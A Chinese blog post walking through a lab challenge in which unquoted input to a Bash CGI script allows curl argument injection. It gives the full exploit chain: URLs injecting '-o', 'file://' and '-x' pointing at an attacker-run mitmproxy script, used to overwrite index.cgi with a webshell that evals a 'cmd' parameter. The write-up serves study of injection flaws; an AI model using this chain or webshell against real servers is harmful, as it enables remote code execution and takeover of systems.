江鸟's Blog

p神Bash Curl参数注入理解

字数统计: 1.1k阅读时长: 4 min
2020/05/21 Share

p神Bash Curl参数注入理解

p神的小密圈总能让人学到新的东西

题目

index.cgi

1
2
3
4
5
6
#!/bin/bash
source ./_dep/web.cgi
echo_headers
name=${_GET["name"]}
[[ $name == "" ]] && name='Bob'
curl -v http://httpbin.org/get?name=$name

这里可以注入curl的一些参数

1
http://127.0.0.1:8080/index.cgi?name=a%20--help

因为源码中是没有双引号包裹的,如果修改源码进行双引号包裹就失败了

image-20200521112342577

然后想到了直接用参数注入来命令执行,因为在bash命令中不管有没有双引号都是可以直接 `ls`执行代码的。

image-20200521113228441

然而在这里是不行的,会直接作为字符串显示出来

image-20200521113547637

如何理解

借用p神的原话

命令注入、代码注入,一定是有“动态代码执行”的地方(在bash开发的应用中,代码注入就等于命令注入)。比如PHP的代码注入,就需要eval这个动态执行代码的方法可控;同样Bash中也需要eval等函数的参数可控。 Bash中更难理解的原因是,Bash语言本身就是执行命令的媒介,但代码注入漏洞的核心原理是相同的,需要一个执行“代码”或“命令”的方法可控,而不是控制一个静态的语法结构中的参数。 上述example代码中的curl,你可以理解为一个“函数”,这里的场景仅仅是函数的参数部分可控,所以不存在代码注入漏洞。

Bash中更难理解的原因是,Bash语言本身就是执行命令的媒介,但代码注入漏洞的核心原理是相同的,需要一个执行“代码”或“命令”的方法可控,而不是控制一个静态的语法结构中的参数

上述example代码中的curl,你可以理解为一个“函数”,这里的场景仅仅是函数的参数部分可控,所以不存在代码注入漏洞。

所以这里是不存在任意代码注入的,我们只能通过curl来进行参数注入

推荐链接:https://gtfobins.github.io/

p神的解

在curl命令中没有可以直接getshell的东西

但是有这个

image-20200521115638418

上传下载和读取,也就是说可以进行写入一个文件来getshll

先来写入一个文件

1
http://127.0.0.1:8080/index.cgi?name=a%20-o%20shell.cgi

成功写入

image-20200521115850751

查看内容

image-20200521120149094

确实可以直接写入,但是不能访问

image-20200521120220781

直接写入的是返回包的内容,所以我们首先要控制返回的内容

可以使用curl的-x参数,也就是http代理

1
brew install mitmproxy

新建一个demo.py

1
2
3
4
5
6
7
8
9
10
11
12
13
from mitmproxy import ctx
from mitmproxy.http import HTTPFlow, HTTPResponse
data = br'''
hello
'''
class Hook:
def request(self, flow: HTTPFlow):
flow.response = HTTPResponse.make(200, data, {'Content-Type':
'text/plain'})
ctx.log.info("Process a request %r" % flow.request.url)
addons = [
Hook()
]

然后跑起来

1
mitmdump -s demo.py --set block_global=false

搭建成功

image-20200521122226280

这里还有一个问题就是文件权限的问题,我们写入的shell.cgi不能执行,即使写入了正确的内容

image-20200521131054320

image-20200521131104020

image-20200521131147997

我们没有办法修改权限,但是可以覆盖index.cgi,这样就有了执行权限

因为要求不能破坏原来的逻辑,所以要先读取源文件

1
http://127.0.0.1:8082/index.cgi?name=a%20file:///usr/local/apache2/htdocs/index.cgi

image-20200521125220154

得到源码就可以修改我的代码然后覆盖index.cgi了

1
http://127.0.0.1:8082/index.cgi?name=a%20-x%20http://192.168.0.6:8080%20-o%20index.cgi
1
2
3
4
5
6
7
8
9
10
#!/bin/bash
source ./_dep/web.cgi
echo_headers
if [[ "${_GET['cmd']}" != "" ]]; then
eval "${_GET['cmd']}"
exit 0
fi
name=${_GET["name"]}
[[ $name == "" ]] && name='Bob'
curl -v http://httpbin.org/get?name=$name

写入成功+执行命令成功

image-20200521123507619

image-20200521123636829

还有别的办法,在较新版本的curl还支持一个为例子显示下:–resolve的选项,可以直接用来指定对url的解析

我们只需要在服务器ip 80端口上放一个get文件就可以了

image-20200521124952615

其他的步骤都是一样的

CATALOG
  1. 1. p神Bash Curl参数注入理解
    1. 1.1. 题目
    2. 1.2. 如何理解
    3. 1.3. p神的解